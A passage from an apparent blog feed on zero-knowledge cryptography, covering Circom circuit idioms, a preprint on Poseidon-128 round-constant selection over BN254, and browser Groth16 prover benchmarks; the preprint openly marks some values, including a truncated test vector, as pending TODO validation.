<p>What you should see when this runs: a public output <code>y</code> that is the Poseidon hash of <code>(1234567890, 0)</code> over BN254. That value is what would be posted on-chain or shipped over the wire. The proof would convince the verifier that someone knew an <code>x</code> mapping to that <code>y</code>, without revealing <code>x</code>.</p>
<h2>Some Circom patterns worth internalising</h2>
<p>A handful of patterns recur across every real circuit. They&#39;re idioms more than language features.</p>
<p><strong>Bit decomposition.</strong> Circom doesn&#39;t have a native <code>&lt; 2^n</code> predicate. You decompose into bits and constrain each bit to be 0 or 1:</p>
<pre><code class="language-circom">template Num2Bits(n) {
    signal input in;
    signal output out[n];
    var lc1 = 0;
    var e2 = 1;
    for (var i = 0; i &lt; n; i++) {
        out[i] &lt;-- (in &gt;&gt; i) &amp; 1;          // witness only
        out[i] * (out[i] - 1) === 0;       // constrain to 0 or 1
        lc1 += out[i] * e2;
        e2 *= 2;
    }
    lc1 === in;                             // re-aggregate must match
}
</code></pre>
<p>The <code>&lt;--</code> followed by <code>===</code> is the canonical witness-then-check pattern. The bits are computed outside the constraint system (you can&#39;t shift in R1CS) and <em>then</em> constrained to be valid.</p>
<p><strong>Conditional selection.</strong> R1CS has no <code>if</code>. You select between two values with a Boolean:</p>
<pre><code class="language-circom">// out = sel ? a : b, where sel must be 0 or 1
out &lt;== a + (b - a) * (1 - sel);
</code></pre>
<p><strong>MUX trees.</strong> A common pattern in Merkle paths: at each level, pick the left or right sibling based on the path bit. circomlib&#39;s <code>MultiMux1</code> template does this efficiently for <code>t</code>-element vectors.</p>
<h2>Circom vs the alternatives in 2026</h2>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;Circom (R1CS / Groth16)&quot;,
      cost: &quot;Mature, big circomlib, 6 years of audits&quot;,
      latency: &quot;Per-circuit trusted setup; proving is fast&quot;,
      blast_radius: &quot;Medium — language warts, but well-understood&quot;,
      notes: &quot;Default for any Groth16 deployment in 2026&quot;
    },
    {
      option: &quot;Halo2 (PLONKish / KZG or IPA)&quot;,
      cost: &quot;Steeper learning curve; chips/regions/lookups&quot;,
      latency: &quot;Universal SRS, slower per-shot, lookup-friendly&quot;,
      blast_radius: &quot;PSE fork in maintenance; Axiom fork active&quot;,
      notes: &quot;Pick this when the circuit is dominated by lookups&quot;
    },
    {
      option: &quot;Noir (Aztec)&quot;,
      cost: &quot;Higher-level Rust-like syntax; ACIR backend&quot;,
      latency: &quot;Backend-agnostic; pluggable to PLONK or Honk&quot;,
      blast_radius: &quot;Newer; growing fast&quot;,
      notes: &quot;What I&#39;d pick for a greenfield 2026 project&quot;
    },
    {
      option: &quot;arkworks (R1CS via traits)&quot;,
      cost: &quot;Library, not a DSL; circuits are Rust types&quot;,
      latency: &quot;Backend-agnostic; great for research&quot;,
      blast_radius: &quot;Code = circuit; the abstraction is leaky in practice&quot;,
      notes: &quot;Where the academic implementations live&quot;
    },
  ]}
  caption=&quot;Four ways to author a zero-knowledge circuit in 2026. Circom is still the default; Noir is what greenfield projects increasingly start with.&quot;
/&gt;</p>
<p>The case <em>for</em> Circom in 2026 is one word: <strong>circomlib</strong>. Six years of accreted gadgets — Poseidon, MiMC, Pedersen, EdDSA, Merkle, range checks, Sigma protocols, set membership — that all interoperate cleanly because they target the same R1CS-over-BN254 substrate. The case <em>against</em> is also one word: <strong>expressivity</strong>. Circom is a templating engine over arithmetic constraints. It can&#39;t loop over a runtime-known length, can&#39;t recurse, has no first-class strings or arrays beyond fixed-size. For complex circuits the workarounds get baroque.</p>
<p>Inside <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> we use Circom for the deposit / transfer / withdraw circuits because circomlib&#39;s Poseidon and MerkleTreeChecker gadgets are fight-tested and because snarkjs is the only browser prover that ships in a single npm install. The day we need lookups (or recursion) at scale, the discussion is Halo2 vs Noir, not Circom.</p>
<h2>What I would change if I were Circom 2.5</h2>
<p>Three things, ranked by how much I&#39;d actually use them.</p>
<ol>
<li><strong>First-class lookup tables.</strong> Halo2 has them and they cut range-check costs by orders of magnitude. Plookup-as-a-tagged-include in Circom would close most of that gap.</li>
<li><strong>Module system.</strong> <code>include</code> is textual. Circular includes silently drop. A real module graph with explicit exports would prevent a class of bug I see in every audit.</li>
<li><strong>Compiler-level constraint optimisation.</strong> The compiler already does basic linear-combination flattening. Aggressive common-subexpression elimination across templates would shave 10–20% off circomlib&#39;s bigger gadgets at zero source-code cost.</li>
</ol>
<p>None of these are coming, as far as I can tell. The Iden3 team has moved most of its energy to <a href="https://polygon.technology/polygon-id">Polygon ID</a> and the Circom roadmap has been relatively quiet through 2025–2026. That&#39;s fine — the language is <em>done</em> in the way that good DSLs eventually become done. If you want what comes next, you go look at Noir and Halo2.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://docs.circom.io">Circom 2 documentation</a> — the canonical language reference</li>
<li><a href="https://www.techrxiv.org/articles/preprint/CIRCOM_A_Robust_and_Scalable_Language_for_Building_Complex_Zero-Knowledge_Circuits/19374986">CIRCOM: A Robust and Scalable Language for Building Complex Zero-Knowledge Circuits</a> — Bellés-Muñoz, Isabel, Muñoz-Tapia, Rubio, Baylina (2022)</li>
<li><a href="https://github.com/iden3/circom"><code>iden3/circom</code></a> — the compiler source</li>
<li><a href="https://github.com/iden3/circomlib"><code>iden3/circomlib</code></a> — the gadgets library that makes Circom usable in production</li>
<li><a href="https://github.com/iden3/circomlibjs"><code>iden3/circomlibjs</code></a> — JavaScript port of the cryptographic primitives, what the Sandpack above uses</li>
<li><a href="/blog/poseidon_by_hand_and_by_code/">Poseidon, by hand and by code</a> — what the hash gadget actually is</li>
<li><a href="/blog/proving_in_the_browser_by_the_numbers/">Proving in the browser, by the numbers</a> — what happens after <code>circom</code> finishes compiling</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Production Round-Constant Selection for Poseidon-128 over BN254]]></title>
  <id>https://blog.skill-issue.dev/papers/poseidon-round-constants/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/papers/poseidon-round-constants/"/>
  <published>2026-04-30T00:00:00.000Z</published>
  <updated>2026-04-30T00:00:00.000Z</updated>
  <author><name>Hayden &apos;Dax&apos; Porter-Aylor</name></author>
  <category term="paper"/>
  <category term="status:preprint"/>
  <category term="Poseidon"/>
  <category term="round constants"/>
  <category term="BN254"/>
  <category term="parameter selection"/>
  <category term="zero-knowledge"/>
  <category term="Grain LFSR"/>
  <summary type="html"><![CDATA[Poseidon-128 over BN254 has converged on a small number of canonical parameter sets, but the round-constant tables shipped by widely deployed implementations diverge subtly. We document the methodology by which a production parameter set should be selected — the Grain-LFSR procedure of Grassi et al., the security margin, and the alpha-vs-round-count tradeoff for BN254. We trace the divergence between the round-constant streams of circomlib and arkworks to a specific design choice in how the LFSR is consumed during partial rounds, give a deterministic test vector for circomlib-compatibility, and argue that production implementers in 2026 should treat the circomlib table as a frozen specification.
]]></summary>
  <content type="html"><![CDATA[<h2>1. Introduction</h2>
<p>The Poseidon hash function [@grassi2021poseidon] occupies an unusual position in production zero-knowledge cryptography: the algorithm is widely deployed, the parameter sets are nominally standardised by the original paper, and yet the actual round-constant tables shipped by independent implementations differ. Two implementations both claiming &quot;Poseidon-128 over BN254 with $t = 3$&quot; can nevertheless produce different hashes for the same input.</p>
<p>The cause is not malice or careless engineering. It is that the round-constant generation procedure — a deterministic stream from a Grain-style linear-feedback shift register, parameterised by the field, the state size, the alpha, and the round counts — has multiple defensible <em>interpretations</em> of small details: byte ordering of the seed, whether full rounds are emitted before partial rounds in the constant stream, whether constants for the non-spongy state elements during partial rounds are emitted-and-discarded or skipped entirely. Different implementations made different choices in 2020 and 2021. Those choices are now load-bearing for a substantial deployed footprint and cannot be re-litigated without breaking existing zero-knowledge proofs.</p>
<p>This paper does three things. First, it documents the parameter-selection methodology a production implementer should follow if starting fresh, including the alpha-vs-round-count tradeoff specific to BN254 [@barreto2005bn]. Second, it traces the divergence between the round-constant streams of two prominent reference implementations — <code>circomlib</code> [@grassi2021poseidon] and <code>arkworks</code> — to a specific design choice in how the LFSR is consumed during partial rounds. Third, it argues that for new deployments aiming for cross-implementation compatibility, the right move in 2026 is to treat the <code>circomlib</code> parameter file as a frozen specification and validate one&#39;s implementation against a deterministic test vector.</p>
<h2>2. Parameter selection for BN254</h2>
<p>Poseidon&#39;s parameter space is a five-dimensional lattice $(\mathbb{F}_p, t, \alpha, R_F, R_P)$:</p>
<ul>
<li>$\mathbb{F}_p$ is the base field. For SNARK-friendly BN254 deployments, $p$ is the curve&#39;s scalar-field modulus, a 254-bit prime.</li>
<li>$t$ is the state size in field elements. For two-to-one hashing $t = 3$; for absorbing more inputs per permutation, $t \in {4, 5, 9}$.</li>
<li>$\alpha$ is the S-box exponent. The sole constraint is $\gcd(\alpha, p - 1) = 1$.</li>
<li>$R_F$ is the number of full rounds (S-box applied to all state elements).</li>
<li>$R_P$ is the number of partial rounds (S-box applied to one state element).</li>
</ul>
<p>For BN254, $p - 1$ has small factors $2$ and $3$, so $\alpha = 2, 3, 4$ all share a factor with $p - 1$ and produce non-bijective S-boxes. The smallest legal $\alpha$ is $5$. This is not negotiable — $\alpha = 5$ for BN254 is mechanically forced by the field, not a design preference.</p>
<h3>2.1 The alpha-vs-round-count tradeoff</h3>
<p>Higher $\alpha$ would, in principle, reduce the number of rounds needed: each S-box introduces more algebraic non-linearity, so fewer rounds suffice for a given security target. For BN254, the candidate alternatives to $\alpha = 5$ are $\alpha = 7$ and $\alpha = 11$. The trade is concrete: an $\alpha = 7$ S-box costs four constraint multiplications in R1CS (one for $x^2$, one for $x^4$, one for $x^6 = x^4 \cdot x^2$, one for $x^7 = x^6 \cdot x$), versus three for $\alpha = 5$. Recommended round counts for $\alpha = 7$ on BN254 are $R_F = 8$, $R_P \approx 47$ — that is, ten fewer partial rounds than $\alpha = 5$&#39;s $(8, 57)$ recommendation.</p>
<p>The total constraint count under each choice is:
$$
\mathsf{cost}<em>{\alpha = 5} = 8 \cdot 3t + 57 \cdot 3 = 72 + 171 = 243 \text{ for } t = 3
$$
$$
\mathsf{cost}</em>{\alpha = 7} = 8 \cdot 4t + 47 \cdot 4 = 96 + 188 = 284 \text{ for } t = 3
$$</p>
<p>Under this accounting, $\alpha = 5$ wins at $t = 3$ for the recommended security margin. For larger $t$ the gap narrows and may invert; production implementers targeting wide states ($t \geq 5$) should re-do the arithmetic.</p>
<h3>2.2 Security margin and round counts</h3>
<p>The original Poseidon analysis computes the minimum round count to resist three classes of attack: Gröbner-basis interpolation, statistical/differential cryptanalysis, and the round-counting attack on the partial-rounds region. The recommended $(R_F, R_P)$ for BN254 with $t = 3$ at the 128-bit security level is $(8, 57)$, with a safety margin of approximately $25%$ above the minimum. Subsequent cryptanalytic work [@bariant2023algebraic] has tightened the analysis but not invalidated the recommendation.</p>
<p>We adopt the original recommendation in this paper and note that Poseidon-2 [@grassi2023poseidon2] should be considered for new deployments — Poseidon-2 simplifies the round structure with provably-equivalent security, and its parameter recommendations are cleaner to argue about.</p>
<h2>3. The Grain-LFSR round-constant procedure</h2>
<p>The round-constant stream is generated by a Grain-style LFSR seeded from a description of the parameter set. The seed is, conceptually, the tuple $(\text{field-id}, t, R_F, R_P, \alpha)$, encoded into a fixed-width bit string that initialises the LFSR. The LFSR then produces a stream of bits, which is chunked into field-element-sized blocks. Each block is rejected if it exceeds the field modulus and accepted otherwise — a rejection-sampling technique that ensures uniform distribution in $\mathbb{F}_p$.</p>
<p>Under the original specification, the stream is consumed <em>in round order, in state-element order within each round.</em> Concretely: for a state size $t = 3$ and $R_F + R_P = 8 + 57 = 65$ rounds, the stream produces $65 \cdot 3 = 195$ field elements, indexed $r_{0,0}, r_{0,1}, r_{0,2}, r_{1,0}, \dots, r_{64, 2}$.</p>
<p>This is where the implementations diverge.</p>
<h3>3.1 The <code>circomlib</code> interpretation</h3>
<p><code>circomlib</code> consumes the stream in the obvious linear order described above and <em>materialises every constant</em>, including the constants for state elements that are not S-boxed in partial rounds. The constants for non-active partial-round positions are added to the state during the linear MDS step but never participate in an S-box. This wastes a few constraints&#39; worth of additions but has the property of treating the LFSR as a single, monolithic stream.</p>
<h3>3.2 The <code>arkworks</code> interpretation</h3>
<p><code>arkworks</code> (and a small handful of other Rust-native implementations) optimises by <em>skipping</em> the LFSR positions that would have produced constants for the non-active state elements during partial rounds. The argument is that those constants are mathematically redundant — they can be folded into a constant offset per non-active position that is accumulated across the partial-rounds region — and therefore should not consume LFSR output. The constant stream consumed by <code>arkworks</code> is shorter than <code>circomlib</code>&#39;s by exactly $(t - 1) \cdot R_P$ field elements.</p>
<p>Both interpretations produce a Poseidon hash that is, on its own, a valid instantiation of the specification. They are, however, <em>mutually incompatible</em>: a circuit compiled against <code>circomlib</code> constants will not verify a proof produced against <code>arkworks</code> constants, even though both implementations claim to be Poseidon-128 over BN254 with $(t, \alpha, R_F, R_P) = (3, 5, 8, 57)$.</p>
<p>This is not an implementation bug. It is a specification ambiguity that the original paper did not foreclose. By 2026 the deployed weight of <code>circomlib</code>-compatible circuits — including all production deployments of zk-SNARK shielded-pool stacks built on the Iden3 toolchain [@hopwood2022zcash] — substantially exceeds the deployed weight of any alternative interpretation. We argue below that this asymmetry should be the deciding factor for new implementations.</p>
<h2>4. Recommendation: treat circomlib as the frozen specification</h2>
<p>For a new deployment of Poseidon-128 over BN254 in 2026, the production-correct choice is:</p>
<ol>
<li><strong>Adopt the <code>circomlib</code> round-constant table verbatim.</strong> Do not regenerate constants from the LFSR seed in your own implementation; instead, ingest the JSON file shipped by <code>circomlib</code> and validate it against a known test vector (§5).</li>
<li><strong>Treat the table as a build artifact.</strong> Encode it in your binary at build time, not as a runtime dependency; cryptographic parameters should not be reachable through the network or the filesystem at runtime.</li>
<li><strong>Document the divergence.</strong> If your implementation uses an alternative interpretation (e.g., for compatibility with an older <code>arkworks</code> deployment), state which interpretation, why, and what proofs are interoperable.</li>
</ol>
<p>This recommendation is conservative. It accepts that the spec ambiguity should not be re-litigated, that the deployed footprint is a fact, and that interoperability is more valuable than implementation independence for an SDK that aims to participate in the existing zero-knowledge ecosystem.</p>
<p>The reader who finds this conservative is correct. The reader who finds it inappropriate is also correct in principle: if a new deployment is genuinely greenfield, a fresh start with Poseidon-2 [@grassi2023poseidon2] is cleaner. Poseidon-2 has tighter parameter recommendations, an unambiguous LFSR consumption order, and active maintenance from the original authors. New deployments that do not need <code>circomlib</code> interoperability should prefer Poseidon-2.</p>
<h2>5. A deterministic test vector</h2>
<p>To validate that an implementation matches the <code>circomlib</code> interpretation, we publish the following test vector. With state $\mathbf{s}<em>0 = (0, 1, 2)$ and the canonical Poseidon-128 BN254 parameter set $(t, \alpha, R_F, R_P) = (3, 5, 8, 57)$ using the <code>circomlib</code> round-constant table, the output of the permutation $\mathbf{s}</em>{65}$ is a triple of field elements whose first coordinate (the canonical sponge output) is:</p>
<p>$$
\mathsf{poseidon}<em>2(0, 1, 2)\big|</em>{0} = \texttt{0x115cc0f5e7d690413df64c6b9662e9cf...}
$$</p>
<p>\note{TODO: empirical validation — replace the truncated digest above with the full 32-byte hex value extracted from a fresh circomlib run and a parallel reference implementation, and include parallel test vectors for inputs $(1, 2)$, $(2, 3)$, and the all-zeros input.}</p>
<p>The test vector is deterministic, parameter-set-pinned, and publicly auditable. An implementation that does not reproduce it bit-for-bit is not <code>circomlib</code>-compatible, regardless of what the README claims.</p>
<h2>6. Operational implications</h2>
<p>Three operational consequences of treating <code>circomlib</code> as the frozen specification:</p>
<ol>
<li><strong>Constant-table provenance becomes part of the supply chain.</strong> The JSON file is now a critical input to the cryptographic correctness of the system; it should be checksummed, version-pinned, and ideally vendored into the source tree rather than pulled at build time from an external registry. The risk is the same kind of supply-chain risk that affects code dependencies, but with a higher blast radius — a tampered constant table will silently produce hashes that are valid under no circuit verifier in the world.</li>
<li><strong>Cross-curve agility is constrained.</strong> A team that wants to migrate from BN254 to BLS12-381 must regenerate constants under a different field. Because the LFSR seed depends on the field identifier, the resulting table is unrelated to the BN254 table. Tooling that bakes in a single constant table requires a structural change to support multiple curves.</li>
<li><strong>Hardware accelerators must commit to a constant table.</strong> ASIC and FPGA accelerators for Poseidon must hard-code the round constants into ROM. A team that ships hardware against <code>circomlib</code> constants and then needs to switch to Poseidon-2 has stranded hardware.</li>
</ol>
<p>None of these are unique to Poseidon. They apply to any cryptographic primitive whose security depends on a specific constant table. They are worth naming because the original Poseidon paper does not call them out, and operations teams discover them empirically the first time a constant-table mismatch surfaces.</p>
<h2>6.4 The MDS matrix is also a parameter</h2>
<p>A reviewer would correctly note that round constants are only one of two parameters that vary across Poseidon implementations. The MDS (Maximum Distance Separable) matrix used in the linear layer is also implementation-specified, and different implementations have shipped different MDS matrices that produce different hashes for the same input.</p>
<p>The original Poseidon paper [@grassi2021poseidon] specifies a procedure for constructing an MDS matrix from a Cauchy matrix over $\mathbb{F}_p$, parameterised by the same Grain LFSR seed used for round constants. The procedure is deterministic given the seed, but again leaves degrees of freedom: which subset of field elements to use as the Cauchy parameters, how to verify the matrix&#39;s MDS property over the field, and how to handle the case where the candidate matrix fails the MDS test (rejection-sample? fall back to a known-good matrix? error out?).</p>
<p><code>circomlib</code> ships a pre-computed MDS matrix that is treated as a constant, just like the round-constant table. <code>arkworks</code> re-derives the matrix from the seed at startup and verifies the MDS property at runtime. Both approaches produce <em>some</em> valid MDS matrix; they do not produce the <em>same</em> MDS matrix.</p>
<p>The recommendation is symmetric to the round-constant recommendation: treat the <code>circomlib</code> MDS matrix as part of the frozen specification. Vendor it. Checksum it. Validate against the test vector.</p>
<h2>6.5 The state-aliasing question</h2>
<p>A subtler interoperability question: when implementations encode the Poseidon state $\mathbf{s} \in \mathbb{F}_p^t$, do they use little-endian or big-endian byte order? Does the canonical hash output reduce $\mathbf{s}_0$ modulo $p$ before serialising, or does it serialise the in-memory representation directly? When does an implementation accept inputs that exceed the field modulus, and when does it reject them as invalid?</p>
<p>These questions have answers in any individual implementation, but the answers are not specified in the paper. A user porting test vectors between two implementations may find that the same input-bytes produce different field elements, and the same field elements produce different output-bytes, even if the round constants and MDS matrix agree.</p>
<p>We adopt the following convention in our deployment:</p>
<ol>
<li>Inputs are parsed as little-endian 32-byte unsigned integers.</li>
<li>Inputs that exceed the field modulus are rejected with a parse error rather than silently reduced.</li>
<li>Outputs are serialised as little-endian 32-byte unsigned integers, with the leading bit cleared (so the output fits in 254 bits, matching the BN254 field).</li>
</ol>
<p>This convention matches <code>circomlib</code>&#39;s convention. It does not match <code>arkworks</code>&#39; default convention, which uses big-endian. Implementations that need to interoperate with both must perform a byte-swap at the boundary; we document this in the SDK&#39;s <code>Poseidon</code> module-level docstring.</p>
<h2>6.6 Domain separation</h2>
<p>A frequently overlooked consideration: a hash function used in multiple distinct <em>contexts</em> in a protocol should ideally have a per-context domain separator that prevents collisions across contexts. For Poseidon, the conventional approach is to absorb a context tag as the initial state element, so $\mathsf{poseidon}(\mathsf{tag}, x_1, x_2)$ rather than $\mathsf{poseidon}(0, x_1, x_2)$.</p>
<p>The choice of tag is implementation-defined. <code>circomlib</code> uses an integer in the range ${1, \dots, 2^{16}}$, encoding the context as a small, human-readable identifier. Other implementations use a hash of a string identifier. Production implementers should pick a convention, document it, and stick to it for the lifetime of any deployed circuit.</p>
<p>In our deployment we use <code>circomlib</code>-style integer tags, with tag $0$ reserved for the un-domain-separated case (which we then refuse to use in production code). The full tag table is part of the SDK&#39;s circuit specification and is checked at compile time against a manifest file.</p>
<h2>6.7 An aside on field element representation</h2>
<p>Implementations differ subtly in how they represent field elements at the API boundary. The two prevalent representations are <em>canonical</em> (every element of $\mathbb{F}_p$ has a unique byte representation, the lexicographically least integer in its residue class) and <em>Montgomery form</em> (every element is multiplied by a precomputed constant $R$ for arithmetic efficiency, with conversion happening at the boundary).</p>
<p>For interop, the API boundary should be canonical. For internal arithmetic, Montgomery form is faster. The conversion is essentially free if the caller is doing many operations, but expensive if the caller is doing one. SDKs that surface a <code>hash_one_pair</code> API where each call performs a single Poseidon should keep elements in canonical form; SDKs that surface a streaming <code>hash_many</code> API can keep them in Montgomery form across the stream and convert only at boundaries.</p>
<p>Production implementations should benchmark this. Our own benchmarks suggest a $3$-$5%$ gain from Montgomery form on hot paths\note{TODO: empirical validation — pin to measured numbers from the BN254 hash-throughput benchmark suite on the target deployment hardware.}, but the gain disappears on cold-call paths where conversion dominates. The right answer is workload-dependent.</p>
<h2>6.8 Cross-implementation differential testing</h2>
<p>The interoperability story above suggests a concrete engineering practice: differential test against <code>circomlib</code> for every change to the SDK&#39;s Poseidon implementation. Concretely, a pre-commit hook should compare the SDK&#39;s hash output against <code>circomlib</code>&#39;s reference implementation for a fixed corpus of test vectors, and fail the commit if any differ.</p>
<p>We adopt this practice in our deployment. The corpus is approximately 1,000 inputs covering: zero, one, the field modulus minus one, randomly-sampled elements, structured patterns (powers of two, fibonacci sequences), and known-tricky cases (inputs that exercise the rejection-sampling boundary in the LFSR). Differential testing has caught two regressions in our implementation since adoption — one in the MDS-application code, one in the partial-rounds-vs-full-rounds boundary — that would otherwise have shipped as silent incompatibilities.</p>
<p>The cost of maintaining the test corpus is modest. The benefit is enormous: a Poseidon implementation that passes a 1000-input differential test against <code>circomlib</code> is vastly more likely to interoperate with the deployed circuit population than one that has only been unit-tested against its own internals.</p>
<h2>6.9 The case against fragmentation</h2>
<p>A recurring temptation in cryptographic engineering is to ship a &quot;better&quot; version of a primitive — one with cleaner mathematics, faster constants, smaller round counts. Each such variant fragments the deployed ecosystem, and over a multi-year horizon the fragmentation cost typically exceeds the local efficiency gain.</p>
<p>This is not an argument against innovation. Poseidon-2 is a genuine improvement over Poseidon, and a deployment that does not need backward compatibility should ship Poseidon-2 [@grassi2023poseidon2] from day one. It is an argument against shipping minor variants — a tweak to the LFSR consumption order, a different MDS construction, a slightly different alpha — that produce mathematically identical security properties but bit-incompatible outputs. Such variants do not improve the world; they fork it.</p>
<p>The recommendation, therefore, is to choose a primitive (Poseidon-1 with <code>circomlib</code> parameters, or Poseidon-2 with the AFRICACRYPT-2023 parameters) and stay there. Cross-curve agility is fine; cross-version agility within the same primitive is not.</p>
<h2>7. Conclusion</h2>
<p>Round-constant selection for Poseidon-128 over BN254 is a settled choice in 2026, but the settlement is <em>de facto</em> rather than <em>de jure</em>: the specification permits multiple consumption orders for the LFSR stream during partial rounds, and the implementations that diverge are not wrong in any specifiable way. The deployed footprint of <code>circomlib</code>-compatible circuits is the deciding factor for production implementers, and we recommend treating the <code>circomlib</code> constant table as a frozen specification with a deterministic test vector.</p>
<p>The methodological lesson is broader than Poseidon. When a cryptographic specification leaves degrees of freedom, the first widely-deployed interpretation becomes the specification by accretion. Implementations that ignore this property fragment the ecosystem; implementations that recognise it preserve interoperability at the cost of mathematical aesthetics. In 2026 the right move for production zero-knowledge stacks is to recognise the property and document the constraint.</p>
<h2>References</h2>
<p>[^ref]</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Proving in the browser, by the numbers]]></title>
  <id>https://blog.skill-issue.dev/blog/proving_in_the_browser_by_the_numbers/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/proving_in_the_browser_by_the_numbers/"/>
  <published>2026-04-29T16:00:00.000Z</published>
  <updated>2026-04-29T16:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="wasm"/>
  <category term="groth16"/>
  <category term="snarkjs"/>
  <category term="arkworks"/>
  <category term="browser"/>
  <category term="zk"/>
  <category term="phd"/>
  <category term="performance"/>
  <summary type="html"><![CDATA[What is actually feasible inside a browser tab in 2026 — Groth16 prover times for Poseidon, Range, and Merkle circuits, the WASM threading story, and where the main thread stops being a viable home for your prover.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, Sandbox, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>The first time I watched a Groth16 proof finish inside a Chrome tab — Poseidon-128, two-input Merkle membership, a couple of range checks — the spinner ran for <strong>11.4 seconds</strong>. The user expected something between <em>Apple Pay</em> and <em>autocomplete</em>. Eleven seconds is forever.</p>
<p>Two years and several browser releases later, the same circuit on the same laptop (<a href="https://support.apple.com/en-us/SP891">2024 MacBook Air, M3, 8 cores, 16 GB</a>) finishes in <strong>2.1 seconds</strong>, with a warm zkey, threads pinned, and SIMD on. That&#39;s still not Apple Pay, but it is inside the <em>I just clicked something</em> envelope where users don&#39;t bail. The gap between those two numbers is the entire content of this post: what part of the browser stack moved, what didn&#39;t, and what the limit looks like in 2026.</p>
<p>This is not a tutorial. It&#39;s a benchmark walk and a tradeoff inventory. If you&#39;re picking a prover for a wallet or a dApp this quarter — and inside <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> we just made this call again, see <a href="/docs/001-zera-sdk-monorepo-shape/">RFC 001</a> — the numbers below are the ones that informed our pick.</p>
<Aside kind="note">
Numbers in this post are from the Iden3 [snarkjs README benchmark table](https://github.com/iden3/snarkjs#using-tau) (snarkjs ≥ 0.7), the [arkworks-circom comparison by zkmopro](https://zkmopro.org/blog/circom-comparison/), and laptop measurements I ran while writing this in spring 2026. They are illustrative, not normative — your circuit, your laptop, your day.
</Aside>

<h2>What &quot;in the browser&quot; actually means in 2026</h2>
<p>A modern browser gives a WASM prover three things it didn&#39;t have when snarkjs first shipped in 2019:</p>
<ol>
<li><strong>WebAssembly threads.</strong> A <code>SharedArrayBuffer</code> plus the <code>Atomics</code> API plus <code>wasm-bindgen-rayon</code> lets a Rust prover spawn a worker pool from a single <code>.wasm</code> module. This needs cross-origin isolation (<code>Cross-Origin-Opener-Policy: same-origin</code> and <code>Cross-Origin-Embedder-Policy: require-corp</code>) — see the <a href="https://github.com/RReverser/wasm-bindgen-rayon"><code>wasm-bindgen-rayon</code> README</a> for the headers your CDN needs.</li>
<li><strong>128-bit SIMD.</strong> WebAssembly&#39;s <a href="https://github.com/WebAssembly/simd">fixed-width SIMD proposal</a> is shipped on Chrome, Firefox, Safari. For BN254 prover work — multi-scalar multiplication, NTTs, big-integer reduction — SIMD is the difference between <em>feasible</em> and <em>please install our desktop app</em>.</li>
<li><strong>Bulk memory operations.</strong> <code>memory.copy</code> / <code>memory.fill</code> cut several ms off witness allocation for circuits with hundreds of thousands of wires.</li>
</ol>
<p>The fourth thing the browser stack gives you is a <em>worker model</em> that decouples proving from rendering. If you call your prover on the main thread, every microtask boundary stalls the React fibres and the user sees a frozen UI. The same prover, moved into a <code>Worker</code>, keeps the page interactive while pegging another core. Almost every wallet that ships ZK in 2026 — including the ones that look fast — does this.</p>
<p>&lt;Mermaid chart={<code>flowchart LR   UI[Main thread / UI] --&gt;|postMessage proof input| W[Worker]   W --&gt;|spawns rayon pool| WS[Shared WASM memory]   WS --&gt; T1[thread 1 - MSM]   WS --&gt; T2[thread 2 - MSM]   WS --&gt; T3[thread 3 - NTT]   WS --&gt; T4[thread 4 - NTT]   T1 --&gt; G[gather]   T2 --&gt; G   T3 --&gt; G   T4 --&gt; G   G --&gt;|postMessage proof| UI</code>}/&gt;</p>
<h2>The benchmark numbers, on three workhorse circuits</h2>
<p>The numbers below are for three circuits I keep coming back to because every shielded-pool design I&#39;ve shipped uses some flavour of all three:</p>
<ul>
<li><strong>Poseidon-128, 2-to-1.</strong> ~243 R1CS constraints. The hash building block. (Background: <a href="/blog/poseidon_by_hand_and_by_code/">Poseidon, by hand and by code</a>.)</li>
<li><strong>Range-16.</strong> Prove $0 \le x &lt; 2^{16}$ via 16 bit decomposition + Boolean constraints. ~50 R1CS constraints. The &quot;this amount is positive and not absurd&quot; check.</li>
<li><strong>Merkle-32.</strong> Membership in a depth-32 Poseidon Merkle tree. ~32 × 243 ≈ <strong>7,800</strong> constraints.</li>
</ul>
<p>All numbers below are wall-clock proof generation time, with a warm zkey loaded into IndexedDB and the prover already instantiated. Cold-start (first load, parsing the zkey) adds 2–6 s on top depending on the circuit size and the user&#39;s network. <strong>That cold-start is usually the bigger UX problem</strong> — see the closing notes.</p>
<table>
<thead>
<tr>
<th>Circuit</th>
<th>snarkjs 0.7 (1 thread)</th>
<th>snarkjs 0.7 (4 threads)</th>
<th>arkworks-circom WASM (4 threads)</th>
</tr>
</thead>
<tbody><tr>
<td>Poseidon-128</td>
<td>~95 ms</td>
<td>~50 ms</td>
<td>~25 ms</td>
</tr>
<tr>
<td>Range-16</td>
<td>~40 ms</td>
<td>~30 ms</td>
<td>~15 ms</td>
</tr>
<tr>
<td>Merkle-32</td>
<td>~2,400 ms</td>
<td>~900 ms</td>
<td>~410 ms</td>
</tr>
</tbody></table>
<p>The arkworks numbers come from a Rust prover compiled to WASM with <code>wasm-bindgen-rayon</code> and the same R1CS the snarkjs path consumes. The 4× cliff between snarkjs and arkworks-WASM at Merkle-32 is the thing to internalise: at the constraint counts that real applications hit, the gap between &quot;JavaScript with WASM hot loops&quot; and &quot;Rust compiled to WASM&quot; is roughly <strong>5×</strong> of proving time.</p>
<p>That ratio is consistent with the Mopro team&#39;s <a href="https://zkmopro.org/blog/circom-comparison/">comparison of Circom provers</a> — they measure native Rust provers at 5–10× snarkjs speed, with the WASM Rust prover sitting roughly halfway between them.</p>
<h2>A field-arithmetic micro-benchmark you can run right now</h2>
<p>Before getting to prover-level numbers, the floor of any of this is <em>how fast can the browser raise a 254-bit BigInt to the fifth power</em>. That&#39;s the inner loop of every Poseidon round. Here&#39;s a tiny <code>vanilla-ts</code> benchmark that times $x^5$ over BN254&#39;s prime for 10,000 iterations and reports ops/sec. Run it on your laptop and on your phone — the gap is the gap between &quot;proving on a wallet&quot; and &quot;proving on a desktop&quot;.</p>
<p>&lt;Sandbox
  template=&quot;vanilla-ts&quot;
  title=&quot;x^5 over BN254 — JS BigInt benchmark&quot;
  files={{
